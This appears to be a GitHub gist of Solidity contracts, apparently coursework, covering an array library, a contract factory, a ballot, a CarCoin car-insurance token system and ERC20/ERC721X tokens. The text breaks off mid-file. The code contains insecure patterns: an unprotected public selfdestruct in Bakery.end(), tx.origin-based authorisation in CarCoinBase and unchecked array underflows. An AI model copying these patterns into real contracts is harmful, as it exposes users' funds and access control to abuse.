Created
November 23, 2019 13:30
-
-
Save gatherheart/9a30dc23bbea19a727fc4b127300cc66 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.5.1+commit.c8a2cb62.js&optimize=false&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
// REFERENCE TO github.com/gatherheart | |
// support for only uint256 and address array | |
library ArrayUtils{ | |
using ArrayUtils for uint256 []; | |
using ArrayUtils for address []; | |
function removeAll(uint256 [] storage array) internal { | |
for (uint256 i = 0; i < array.length - 1; i++){ | |
delete array[i]; | |
} | |
delete array[array.length - 1]; | |
array.length = 0; | |
} | |
function removeAll(address [] storage array) internal { | |
for (uint256 i = 0; i < array.length - 1; i++){ | |
delete array[i]; | |
} | |
delete array[array.length - 1]; | |
array.length = 0; | |
} | |
function remove(uint256 [] storage array, uint256 index) internal { | |
if(index >= array.length) | |
return; | |
for (uint256 i = index; i < array.length - 1; i++){ | |
array[i] = array[i + 1]; | |
} | |
delete array[array.length - 1]; | |
array.length--; | |
} | |
function remove(address [] storage array, uint256 index) internal { | |
if(index >= array.length) | |
return; | |
for (uint256 i = index; i < array.length - 1; i++){ | |
array[i] = array[i + 1]; | |
} | |
delete array[array.length - 1]; | |
array.length--; | |
} | |
function count(uint256 [] memory array, uint256 item) internal pure returns(uint256){ | |
if(!array.exist(item)) | |
return 0; | |
uint256 countNum = 0; | |
for(uint256 i = 0; i < array.length; i++){ | |
if(array[i] == item) | |
countNum++; | |
} | |
return countNum; | |
} | |
function count(address [] storage array, address item) internal view returns(uint256){ | |
if(!array.exist(item)) | |
return 0; | |
uint256 countNum = 0; | |
for(uint256 i = 0; i < array.length; i++){ | |
if(array[i] == item) | |
countNum++; | |
} | |
return countNum; | |
} | |
function removeItem(uint256 [] storage array, uint256 item) internal{ | |
if(!array.exist(item)) | |
return; | |
for (uint256 i = array.indexOf(item); i < array.length - 1; i++){ | |
array[i] = array[i + 1]; | |
} | |
delete array[array.length - 1]; | |
array.length--; | |
} | |
function removeItem(address [] storage array, address item) internal{ | |
if(!array.exist(item)) | |
return; | |
for (uint256 i = array.indexOf(item); i < array.length - 1; i++){ | |
array[i] = array[i + 1]; | |
} | |
delete array[array.length - 1]; | |
array.length--; | |
} | |
function indexOf(uint256 [] memory array, uint256 item) internal pure returns(uint256){ | |
require(array.exist(item)); | |
for (uint256 i = 0; i < array.length; i++){ | |
if(array[i] == item) | |
return i; | |
} | |
} | |
function indexOf(address [] storage array, address item) internal view returns(uint256){ | |
require(array.exist(item)); | |
for (uint256 i = 0; i < array.length; i++){ | |
if(array[i] == item) | |
return i; | |
} | |
} | |
function exist(uint256 [] memory array, uint256 item) internal pure returns(bool) { | |
for (uint256 i = 0; i < array.length; i++){ | |
if(array[i] == item) | |
return true; | |
} | |
return false; | |
} | |
function exist(address [] storage array, address item) internal view returns(bool) { | |
for (uint256 i = 0; i < array.length; i++){ | |
if(array[i] == item) | |
return true; | |
} | |
return false; | |
} | |
function sort(uint256 [] storage array) internal{ | |
QuickSort(array, 0, array.length - 1); | |
} | |
function QuickSort(uint256 [] storage array, uint256 left, uint256 right) internal { | |
uint256 i = left; | |
uint256 j = right; | |
// base | |
if(i == j) | |
return; | |
uint256 pivot = array[ uint256(left + (right - left) / 2) ]; | |
while (i <= j) { | |
while (array[i] < pivot) | |
i++; | |
while (pivot < array[j]) | |
j--; | |
if (i <= j) { | |
(array[i], array[j]) = (array[j], array[i]); | |
i++; | |
j--; | |
} | |
} | |
// branch | |
if (left < j) | |
QuickSort(array, left, j); | |
if (i < right) | |
QuickSort(array, i, right); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
contract Bakery { | |
// index of created contracts | |
Cookie [] public contracts; | |
uint256 genesis; | |
// useful to know the row count in contracts index | |
constructor() public { | |
genesis = block.number; | |
} | |
function getContractCount() | |
public | |
view | |
returns(uint contractCount) | |
{ | |
return contracts.length; | |
} | |
// deploy a new contract | |
function newCookie(string memory flavor) | |
public | |
returns(Cookie newContract) | |
{ | |
Cookie c = new Cookie(flavor); | |
contracts.push(c); | |
return c; | |
} | |
function end() public{ | |
while(true){ | |
if(genesis + 10 < block.number){ | |
selfdestruct(msg.sender); | |
} | |
} | |
} | |
} | |
contract Cookie { | |
// suppose the deployed contract has a purpose | |
string flavor; | |
constructor (string memory _flavor) public{ | |
flavor = _flavor; | |
} | |
function getFlavor() | |
public | |
view | |
returns (string memory _flavor) | |
{ | |
return flavor; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.7.0; | |
contract Ballot { | |
mapping(string => VoteSession) votes; | |
event OpenedVote(string name, uint time); | |
event ClosedVote(string name, uint time); | |
struct VoteSession { | |
bool started; // to check whether this vote is already opened or not | |
bool end; // to check whether started vote is ended or not | |
address sessionOwner; // the creator of a vote | |
uint256 voteCount; // the number of people who voted | |
uint256 startBlock; // the block number when vote is started | |
uint256 endBlockTime; // the specific block time when the vote is terminated | |
mapping(address => bool) voteCheck; | |
mapping(string => uint256) choices; // the number of voted to the choice(option) | |
} | |
modifier ValidVote(string memory _title){ // check if vote is started or not | |
require(votes[_title].started); | |
_; | |
} | |
modifier NotExsitingVote(string memory _title){ // check if vote is already started | |
require(!votes[_title].started); | |
_; | |
} | |
modifier OnlyVoteOwner(string memory _title) { // only the owner of vote session can access | |
require(votes[_title].sessionOwner == msg.sender); | |
_; | |
} | |
modifier NotVoted(string memory _title){ // check if msg.sender has already voted | |
require(!votes[_title].voteCheck[msg.sender]); | |
_; | |
} | |
modifier NotEnded(string memory _title){ // check if the vote is valid now | |
VoteSession memory vote = votes[_title]; | |
// vote should not be ended and endBlockTime not be more than current block number | |
require(!vote.end && block.number <= vote.endBlockTime); | |
_; | |
} | |
function openVoting(string memory _title) public NotExsitingVote(_title) { | |
VoteSession storage vote = votes[_title]; | |
vote.started = true; // status of vote session | |
vote.startBlock = block.number; // start time | |
vote.endBlockTime -= 1; // set end time as infinity | |
vote.sessionOwner = msg.sender; // save the owner of vote title | |
emit OpenedVote(_title, block.number); | |
} | |
function voting(string memory _title, string memory _choice) public ValidVote(_title) NotVoted(_title) NotEnded(_title){ | |
VoteSession storage vote = votes[_title]; | |
require(vote.choices[_choice] + 1 > vote.choices[_choice]); // overflow check | |
vote.choices[_choice] += 1; // the number of vote to the _choice | |
require(vote.voteCount + 1 > vote.voteCount); | |
vote.voteCount += 1; // total number of votes | |
vote.voteCheck[msg.sender] = true; // change msg.sender with voted status | |
} | |
function showInformation(string memory _title) public ValidVote(_title) | |
view returns(string memory title, uint256 count){ | |
return (_title, votes[_title].voteCount); | |
} | |
function showInformation(string memory _title, string memory _choice) public ValidVote(_title) | |
view returns(string memory title, string memory choice, uint256 count){ | |
return (_title, _choice, votes[_title].choices[_choice]); | |
} | |
// terminate immediately | |
function closeVotingNow(string memory _title) public OnlyVoteOwner(_title) NotEnded(_title) { | |
votes[_title].end = true; | |
emit ClosedVote(_title, block.number); | |
} | |
// schedule termination of vote at specific block.number | |
function closeVotingSched(string memory _title, uint256 blockNumber) public OnlyVoteOwner(_title) NotEnded(_title){ | |
// input blockNumber should be more than current block number to schedule termination | |
require(blockNumber > block.number); | |
votes[_title].endBlockTime = blockNumber; | |
emit ClosedVote(_title, blockNumber); | |
} | |
// to check current block number for scheduling termination | |
function currentBlockNumber() public view returns(uint256){ | |
return block.number; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
import "./CarCoinBase.sol"; | |
import "./ERC721XFT.sol"; | |
import "./Ownerable.sol"; | |
// Before use this smart contract, ISC should be registerd into Database of CarCoin | |
// And ISC should allow this smart contract as an approved operator | |
contract CarCoin is Ownerable{ | |
using SafeMath for uint256; | |
using ArrayUtils for uint256 []; | |
uint256 zeroCoin = 0; | |
ERC721XTokenFT Token; | |
CarCoinBase Database; | |
uint256 rate = 10; | |
event ReportAccident(address indexed reporter, uint256, string); | |
event ReportRepairment(address indexed reporter, uint256, string); | |
event ISC_Registration(address isc); | |
event ISC_Unregistration(address isc); | |
constructor(address _Token, address _Database) public{ | |
Token = ERC721XTokenFT(_Token); | |
Database = CarCoinBase(_Database); | |
} | |
function setTokenContract(address _Token) public onlyOwner { | |
Token = ERC721XTokenFT(_Token); | |
} | |
function setDatabase(address _Database) public onlyOwner { | |
Database = CarCoinBase(_Database); | |
} | |
function setRate(uint256 newRate) public onlyOwner{ | |
rate = newRate; | |
} | |
function iscRegistraction(address target) public { | |
Database.verifyISC(target); | |
// registration succeed now set allowance to carcoin | |
Token.setApprovalForTokenMaker(true); | |
emit ISC_Registration(target); | |
} | |
function iscUnregistraction(address target) public { | |
Database.unverifyISC(target); | |
// registration succeed now set allowance to carcoin | |
Token.setApprovalForTokenMaker(false); | |
emit ISC_Unregistration(target); | |
} | |
// @param carNum - the characteristic and distinct number of car registerd to government | |
// @param value - the payed money for the car | |
// @param time - the time when car is bought | |
function carRegistration(string memory carNum, uint256 value, uint256 time) public { | |
uint256 permission; | |
permission = Database.checkPermission(msg.sender); | |
require(permission >= 4); | |
Database.registerCar(carNum, value, time); | |
uint256 tokenId = Database.tokenIdGen(carNum, value, time); | |
uint256 supply = value; | |
//uint256 tokenId, address to, uint256 supply | |
Token._mint(tokenId, msg.sender, supply); | |
} | |
// dev delete registerd car onto smart contract | |
// @param carNum | |
function carUnregister(string memory carNum) public{ | |
uint256 permission; | |
permission = Database.checkPermission(msg.sender); | |
require(permission >= 4); | |
uint256 tokenId; | |
(,,tokenId) = Database.checkCar(carNum); | |
Database.deleteCar(carNum); | |
Token.burn(msg.sender, tokenId); | |
Token.burn(owner, tokenId); | |
} | |
// @param time // the time when Accident occured | |
// @param carNum // the car that is involved in this accident | |
// @param loss // the lost out of a car | |
// @param data // the data about accident such as the final fault-determination | |
function reportAccident(uint256 time, string memory carNum, uint256 loss, string memory data) public{ | |
// try to report accident to Database | |
uint256 permission; | |
permission = Database.checkPermission(msg.sender); | |
require(permission >= 4); | |
Database.saveAccident(time, carNum, loss, data); | |
uint256 credibility = 0; | |
uint256 tokenId; | |
(,,,credibility) = Database.insuranceCompany(msg.sender); | |
(,,tokenId) = Database.checkCar(carNum); | |
uint256 reward = credibility * rate; | |
// the value of car get lost | |
Token.transferFrom(msg.sender, owner, tokenId, loss); | |
// isc get rewards from smart contract | |
Token.transferFrom(owner, msg.sender, zeroCoin, reward); | |
emit ReportAccident(msg.sender, time, carNum); | |
} | |
// @param time // the time when Accident occured | |
// @param carNum // the car that is involved in this accident | |
// @param repaired // the value of repairment | |
// @param data // the data about accident such as the final fault-determination | |
function reportRepairment(uint256 time, string memory carNum, uint256 repaired, string memory data) public{ | |
// try to report event to Database | |
uint256 permission; | |
permission = Database.checkPermission(msg.sender); | |
require(permission >= 4); | |
Database.saveRepairment(time, carNum, repaired, data); | |
uint256 credibility = 0; | |
uint256 tokenId; | |
(,,,credibility) = Database.insuranceCompany(msg.sender); | |
(,,tokenId) = Database.checkCar(carNum); | |
uint256 reward = credibility * rate; | |
// the value of car get repaired | |
Token.transferFrom(msg.sender, owner, tokenId, repaired); | |
// isc get rewards from smart contract | |
Token.transferFrom(owner, msg.sender, zeroCoin, reward); | |
emit ReportRepairment(msg.sender, time, carNum); | |
} | |
// @dev get data about repaired car | |
function getRepairmentData(string memory carNum) public view returns(uint256 [] memory, uint256 [] memory, string memory){ | |
uint256 permission; | |
permission = Database.checkPermission(msg.sender); | |
require(permission >= 1); | |
uint256 [] memory time; | |
uint256 [] memory restoredValue; | |
string memory data; | |
(time, restoredValue, data) = Database.getRepairment(carNum); | |
return (time, restoredValue, data); | |
} | |
// @dev get data about accident car get through | |
function getAccidentData(string memory carNum) public view returns(uint256 [] memory, uint256 [] memory, string memory){ | |
uint256 permission; | |
permission = Database.checkPermission(msg.sender); | |
require(permission >= 1); | |
uint256 [] memory time; | |
uint256 [] memory lostValue; | |
string memory data; | |
(time, lostValue, data) = Database.getAccident(carNum); | |
return (time, lostValue, data); | |
} | |
/*REFERENCE: loomnetwork/erc721x/blob/master/contracts/Core/ERC721X/ERC721XTokenNFT.sol*/ | |
function uint2str(uint256 _i) private pure returns (string memory _uintAsString) { | |
if (_i == 0) { | |
return "0"; | |
} | |
uint j = _i; | |
uint len; | |
while (j != 0) { | |
len++; | |
j /= 10; | |
} | |
bytes memory bstr = new bytes(len); | |
uint k = len - 1; | |
while (_i != 0) { | |
bstr[k--] = byte(uint8(48 + _i % 10)); | |
_i /= 10; | |
} | |
return string(bstr); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
import "./CarCoinControl.sol"; | |
contract CarCoinBase is CarCoinControl{ | |
using SafeMath for uint256; | |
using ArrayUtils for uint256 []; | |
mapping (address => ISC) public insuranceCompany; // insurance Company data | |
mapping (string => Car) carList; // list of cars | |
address CarCoinContract; // the contract of carcoin | |
uint256 zeroCoin = 0; | |
modifier RegisteredCarNum(string memory number){ | |
require(carList[number].registered); | |
_; | |
} | |
function setCarCoinAddr(address addr) external OnlyCEO whenNotPaused { | |
permission[CarCoinContract] = 0; | |
CarCoinContract = addr; | |
permission[CarCoinContract] = 7; | |
} | |
// initialize the registered car | |
function registerCar(string calldata carNum, uint256 value, uint256 time) external ReadWrite whenNotPaused{ | |
ISC storage isc = insuranceCompany[tx.origin]; | |
// the car should not be registered car to insuranceCompany or others | |
require( | |
!isc.managingCar[carNum].registered | |
&& !carList[carNum].registered, | |
"Already registered car" | |
); | |
Car storage car = carList[carNum]; | |
car.registered = true; | |
car.carNum = carNum; | |
car.manager = isc; | |
car.carValue = value; | |
car.registeredDate = time; | |
car.tokenId = tokenIdGen(carNum, value, time); | |
// register to isc | |
isc.tokenNum = isc.tokenNum.incr(); | |
isc.managingCar[carNum] = car; | |
return; | |
} | |
function checkCar(string calldata carNum) external view whenNotPaused returns(bool, uint256, uint256, address){ | |
return (carList[carNum].registered, carList[carNum].registeredDate, carList[carNum].tokenId, carList[carNum].manager.manager); | |
} | |
function deleteCar(string calldata carNum) external ReadWrite whenNotPaused{ | |
ISC storage isc = insuranceCompany[tx.origin]; | |
// the car should not be registered car to insuranceCompany or others | |
require( | |
carList[carNum].registered | |
&& isc.managingCar[carNum].registered, | |
"Not registered car to the company" | |
); | |
delete isc.managingCar[carNum]; | |
delete carList[carNum]; | |
isc.tokenNum = isc.tokenNum.decr(); | |
} | |
// @param time // the time when Accident occured | |
// @param carNum // the car that is involved in this accident | |
// @param loss // the lost out of a car | |
// @param data // the data about accident such as the final fault-determination | |
function saveAccident(uint256 time, string calldata carNum, uint256 loss, string calldata data) | |
external ReadWrite whenNotPaused{ | |
ISC storage isc = insuranceCompany[tx.origin]; | |
Car storage car = carList[carNum]; | |
require(car.registered, "Not registered car to the ISC"); | |
Accident memory acid; | |
acid.time = time; | |
acid.carNum = carNum; | |
acid.loss = loss; | |
acid.data = data; | |
car.accidents.push(acid); | |
isc.managingCar[carNum] = car; | |
return; | |
} | |
function getAccident(string calldata carNum) external view OnlyRead returns(string memory){ | |
Car memory car = carList[carNum]; | |
string memory ret; | |
string memory delim = "|"; | |
for(uint256 i = 0; i < car.accidents.length; i++){ | |
Accident memory accident = car.accidents[i]; | |
string memory tmp = | |
string(abi.encodePacked(uint2str(accident.time), delim, uint2str(accident.loss), delim, accident.data, '@')); | |
ret = string(abi.encodePacked(ret, tmp)); | |
} | |
return ret; | |
} | |
// @param time // the time when Accident occured | |
// @param carNum // the car that is involved in this accident | |
// @param restored // the restored value to the car | |
// @param data // the data about accident such as the correction about the accident | |
function saveRepairment(uint256 time, string calldata carNum, uint256 restored, string calldata data) | |
external ReadWrite whenNotPaused{ | |
ISC storage isc = insuranceCompany[tx.origin]; | |
Car storage car = carList[carNum]; | |
require(car.registered, "Not registered car to the ISC"); | |
Repairment memory repr; | |
repr.time = time; | |
repr.carNum = carNum; | |
repr.restored = restored; | |
repr.data = data; | |
car.repaired.push(repr); | |
isc.managingCar[carNum] = car; | |
return; | |
} | |
function getRepairment(string calldata carNum) external view OnlyRead returns(string memory){ | |
Car memory car = carList[carNum]; | |
string memory ret; | |
string memory delim = "|"; | |
for(uint256 i = 0; i < car.repaired.length; i++){ | |
Repairment memory repaired = car.repaired[i]; | |
string memory tmp = | |
string(abi.encodePacked(uint2str(repaired.time), delim, uint2str(repaired.restored), delim, repaired.data, '@')); | |
ret = string(abi.encodePacked(ret, tmp)); | |
} | |
return ret; | |
} | |
// initialize the registered ISC | |
function verifyISC(address manager) external AllPermitted whenNotPaused NotZeroAddr(manager){ | |
// Before registration, own should allow target address as permitted | |
setPermission(manager, 4); | |
ISC storage isc = insuranceCompany[manager]; | |
isc.manager = manager; | |
isc.verified = true; | |
isc.credibility = 100; | |
isc.tokenNum = 0; | |
} | |
function setCredibility(address manager, uint256 credibility) external AllPermitted whenNotPaused NotZeroAddr(manager){ | |
ISC storage isc = insuranceCompany[manager]; | |
isc.credibility = credibility; | |
} | |
function registerReader(address target) external AllPermitted whenNotPaused NotZeroAddr(target){ | |
permission[target] = 1; | |
} | |
function unverifyISC(address manager) external AllPermitted whenNotPaused NotZeroAddr(manager){ | |
delete insuranceCompany[manager]; | |
setPermission(manager, 0); | |
} | |
function tokenIdGen(string memory carNum, uint256 value, uint256 time) public view returns (uint256){ | |
uint256 tokenId = uint256(keccak256(abi.encodePacked(carNum, value, time))); | |
require(tokenId != zeroCoin); | |
return tokenId; | |
} | |
function checkPermission(address target) public view returns(uint8){ | |
return permission[target]; | |
} | |
/*REFERENCE: loomnetwork/erc721x/blob/master/contracts/Core/ERC721X/ERC721XTokenNFT.sol*/ | |
function uint2str(uint256 _i) private pure returns (string memory _uintAsString) { | |
if (_i == 0) { | |
return "0"; | |
} | |
uint j = _i; | |
uint len; | |
while (j != 0) { | |
len++; | |
j /= 10; | |
} | |
bytes memory bstr = new bytes(len); | |
uint k = len - 1; | |
while (_i != 0) { | |
bstr[k--] = byte(uint8(48 + _i % 10)); | |
_i /= 10; | |
} | |
return string(bstr); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
import "./CarCoinDatabase.sol"; | |
contract CarCoinControl is CarCoinDatabase { | |
bool public paused = false; | |
mapping (address => uint8) permission; // pepermission for database | |
// 1th-> read 2th-> write 3th-> execution | |
// 001 -> OnlyRead 011 -> ReadWrite 111-> all permission | |
modifier NotZeroAddr(address addr){ | |
require(addr != address(0)); | |
_; | |
} | |
constructor() public { | |
permission[ceoAddress] = 7; | |
} | |
function setCEO(address _newCEO) external OnlyCEO NotZeroAddr(_newCEO){ | |
require(ceoAddress != _newCEO); | |
permission[ceoAddress] = 0; | |
ceoAddress = _newCEO; | |
permission[_newCEO] = 7; | |
} | |
function setPermission(address target, uint8 permit) public AllPermitted NotZeroAddr(target){ | |
require(target != msg.sender | |
&& permit <= 4); | |
permission[target] = permit; | |
} | |
function permitAll(address target) public OnlyCEO NotZeroAddr(target){ | |
require(target != msg.sender); | |
permission[target] = 7; | |
} | |
modifier OnlyCEO { | |
require(msg.sender == ceoAddress); | |
_; | |
} | |
// Access modifier | |
modifier OnlyRead { | |
require(permission[msg.sender] >= 1); | |
_; | |
} | |
modifier ReadWrite { | |
require(permission[msg.sender] >= 4); | |
_; | |
} | |
modifier AllPermitted{ | |
require(permission[msg.sender] >= 7); | |
_; | |
} | |
/*** Pausable functionality adapted from OpenZeppelin ***/ | |
/// @dev Modifier to allow actions only when the contract IS NOT paused | |
modifier whenNotPaused { | |
require(!paused); | |
_; | |
} | |
/// @dev Modifier to allow actions only when the contract IS paused | |
modifier whenPaused { | |
require(paused); | |
_; | |
} | |
function pause() external OnlyCEO whenNotPaused { | |
paused = true; | |
} | |
function unpause() public OnlyCEO whenPaused { | |
paused = false; | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
import "./Ownerable.sol"; | |
import "./SafeMath.sol"; | |
import "./ArrayUtils.sol"; | |
contract CarCoinDatabase { | |
event CeoRegistered(address NewOwner); | |
// The addresses that can execute actions within each roles. | |
address public ceoAddress; | |
constructor () public { | |
ceoAddress = msg.sender; | |
emit CeoRegistered(msg.sender); | |
} | |
struct Car { | |
bool registered; // check wether registered or not | |
string carNum; // who possess this car | |
uint256 tokenId; // serial number of the CarCoin | |
uint256 carValue; // the initial value of the car bought | |
uint256 registeredDate; // the time of registered date | |
ISC manager; // Insurance Company who manage this CarCoin | |
Accident [] accidents; // the list of accidents of car history | |
Repairment [] repaired; // the list of Repairment | |
} | |
// Insurance Company | |
struct ISC { | |
bool verified; // check wether verified or not | |
address manager; // the address of ISC manager | |
uint256 tokenNum; // the number of car which managing | |
mapping (string => Car) managingCar; // the informations of a car which is mapped by car number | |
uint256 credibility; // the reliability of insurance company | |
mapping (uint256 => uint256) balances; // the amount of tokens which ISC holds (tokenId -> balances) | |
} | |
// car Accident report | |
struct Accident{ | |
uint256 time; // the time when Accident occured | |
string carNum; // the cars that are involved in this accident | |
uint256 loss; // the lost out of a car | |
string data; // the data about accident | |
} | |
// car Repairment report | |
struct Repairment{ | |
string carNum; // the car address which is repaired | |
uint256 time; // the tile when Repairment occured for the car | |
uint256 restored; // the amount of restored tokens | |
string data; // the data about Repairments | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
import "./CarCoinBase.sol"; | |
import "./ERC721XFT.sol"; | |
import "./Ownerable.sol"; | |
// Before use this smart contract, ISC should be registerd into Database of CarCoin | |
// And ISC should allow this smart contract as an approved operator | |
contract CarCoinNe is Ownerable{ | |
using SafeMath for uint256; | |
using ArrayUtils for uint256 []; | |
uint256 zeroCoin = 0; | |
ERC721XTokenFT Token; | |
CarCoinBase Database; | |
uint256 rate = 10; | |
event ReportAccident(address indexed reporter, uint256, string); | |
event ReportRepairment(address indexed reporter, uint256, string); | |
event ISC_Registration(address isc); | |
event ISC_Unregistration(address isc); | |
constructor(address _Token, address _Database) public{ | |
Token = ERC721XTokenFT(_Token); | |
Database = CarCoinBase(_Database); | |
} | |
function setTokenContract(address _Token) public onlyOwner { | |
Token = ERC721XTokenFT(_Token); | |
} | |
function setDatabase(address _Database) public onlyOwner { | |
Database = CarCoinBase(_Database); | |
} | |
function setRate(uint256 newRate) public onlyOwner{ | |
rate = newRate; | |
} | |
function iscRegistraction(address target) public { | |
Token.setApprovalForAll(address(this), true); | |
// registration succeed now set allowance to carcoin | |
emit ISC_Registration(target); | |
} | |
function iscUnregistraction(address target) public { | |
Token.setApprovalForAll(address(this), false); | |
// registration succeed now set allowance to carcoin | |
emit ISC_Unregistration(target); | |
} | |
// @param carNum - the characteristic and distinct number of car registerd to government | |
// @param value - the payed money for the car | |
// @param time - the time when car is bought | |
function carRegistration(string memory carNum, uint256 value, uint256 time) public { | |
Database.registerCar(carNum, value, time); | |
uint256 tokenId = Database.tokenIdGen(carNum, value, time); | |
uint256 supply = value; | |
//uint256 tokenId, address to, uint256 supply | |
Token._mint(tokenId, msg.sender, supply); | |
} | |
// dev delete registerd car onto smart contract | |
// @param carNum | |
function carUnregister(string memory carNum) public{ | |
uint256 tokenId; | |
(,,tokenId,) = Database.checkCar(carNum); | |
Database.deleteCar(carNum); | |
Token.burn(msg.sender, tokenId); | |
Token.burn(owner, tokenId); | |
} | |
// @param time // the time when Accident occured | |
// @param carNum // the car that is involved in this accident | |
// @param loss // the lost out of a car | |
// @param data // the data about accident such as the final fault-determination | |
function reportAccident(uint256 time, string memory carNum, uint256 loss, string memory data) public{ | |
// try to report accident to Database | |
Database.saveAccident(time, carNum, loss, data); | |
uint256 credibility = 0; | |
uint256 tokenId; | |
(,,,credibility) = Database.insuranceCompany(msg.sender); | |
(,,tokenId,) = Database.checkCar(carNum); | |
uint256 reward = credibility * rate; | |
// the value of car get lost | |
Token.transferFrom(msg.sender, owner, tokenId, loss); | |
// isc get rewards from smart contract | |
Token.transferFrom(owner, msg.sender, zeroCoin, reward); | |
emit ReportAccident(msg.sender, time, carNum); | |
} | |
// @param time // the time when Accident occured | |
// @param carNum // the car that is involved in this accident | |
// @param repaired // the value of repairment | |
// @param data // the data about accident such as the final fault-determination | |
function reportRepairment(uint256 time, string memory carNum, uint256 repaired, string memory data) public{ | |
// try to report event to Database | |
Database.saveRepairment(time, carNum, repaired, data); | |
uint256 credibility = 0; | |
uint256 tokenId; | |
(,,,credibility) = Database.insuranceCompany(msg.sender); | |
(,,tokenId,) = Database.checkCar(carNum); | |
uint256 reward = credibility * rate; | |
// the value of car get repaired | |
Token.transferFrom(owner, msg.sender, tokenId, repaired); | |
// isc get rewards from smart contract | |
Token.transferFrom(owner, msg.sender, zeroCoin, reward); | |
emit ReportRepairment(msg.sender, time, carNum); | |
} | |
// @dev get data about repaired car | |
function getRepairmentData(string memory carNum) public view returns(string memory){ | |
return Database.getRepairment(carNum); | |
} | |
// @dev get data about accident car get through | |
function getAccidentData(string memory carNum) public view returns(string memory){ | |
return Database.getAccident(carNum); | |
} | |
function getTokenBalance(string memory carNum) public view returns(uint256 _balance){ | |
uint256 tokenId; | |
address manager; | |
(,,tokenId, manager) = Database.checkCar(carNum); | |
return Token.balanceOf(manager, tokenId); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
contract ERC165 { | |
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; | |
mapping(bytes4 => bool) private _supportedInterfaces; | |
constructor () internal { | |
_registerInterface(_INTERFACE_ID_ERC165); | |
} | |
function supportsInterface(bytes4 interfaceId) external view returns (bool) { | |
return _supportedInterfaces[interfaceId]; | |
} | |
function _registerInterface(bytes4 interfaceId) internal { | |
require(interfaceId!= 0xffffffff, "ERC165: invalid interface id"); | |
_supportedInterfaces[interfaceId] = true; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
import "./IERC20.sol"; | |
import "./SafeMath.sol"; | |
import "./StringUtils.sol"; | |
contract MyTokenERC20 is ERC20{ | |
using SafeMath for uint256; | |
string public name = "ERC TOKEN"; | |
string public symbol = "ERC"; | |
uint8 public decimals = 5; | |
mapping (address => uint256) private balances; | |
mapping (address => mapping (address => uint256)) private allowed; | |
uint256 private _totalSupply; | |
modifier NotZeroAddr(address addr){ | |
require(addr != address(0)); | |
_; | |
} | |
constructor () public{ | |
_totalSupply = 1000; | |
balances[msg.sender] = _totalSupply; | |
} | |
function totalSupply() external view returns (uint256){ | |
return _totalSupply; | |
} | |
function balanceOf(address who) external view NotZeroAddr(who) returns (uint256){ | |
return balances[who]; | |
} | |
function allowance(address owner, address spender) external view NotZeroAddr(spender) returns (uint256){ | |
return allowed[owner][spender]; | |
} | |
function transfer(address to, uint256 value) external NotZeroAddr(to) returns (bool){ | |
// Underflow And overflow check | |
require( | |
balances[msg.sender] >= value | |
&& balances[to] + value > balances[to] | |
); | |
_transfer(msg.sender, to, value); | |
return true; | |
} | |
function _transfer(address _from, address to, uint256 value) private{ | |
balances[_from] -= value; | |
balances[to] += value; | |
emit Transfer(_from, to, value); | |
} | |
function approve(address spender, uint256 value) external NotZeroAddr(spender) returns (bool) { | |
allowed[msg.sender][spender] = value; | |
emit Approval(msg.sender, spender, value); | |
return true; | |
} | |
// fund holder: addresss _from, | |
// sender who is approved from fund holder : msg.sender | |
// receiver : address to | |
function transferFrom(address _from, address to, uint256 value) external NotZeroAddr(_from) NotZeroAddr(to) returns (bool){ | |
require(allowed[_from][msg.sender] >= value); | |
_transfer(_from, to, value); | |
allowed[_from][msg.sender] -= value; | |
return true; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
import "./ERC721XNFT.sol"; | |
import "./IERC721X.sol"; | |
import "./Ownerable.sol"; | |
contract ERC721XTokenFT is IERC721X, ERC721XTokenNFT, Ownerable{ | |
using SafeMath for uint256; | |
using ArrayUtils for uint256[]; | |
using ArrayUtils for address[]; | |
bytes4 internal constant ERC721X_RECEIVED = 0x660b3370; | |
bytes4 internal constant ERC721X_BATCH_RECEIVE_SIG = 0xe9e5be6a; | |
mapping(uint256 => address []) public tokenOwners; | |
address private tokenMaker; // the contract that mint coins -> carcoin contract | |
address private prevTokenMaker; | |
uint256 zeroCoin = 0; | |
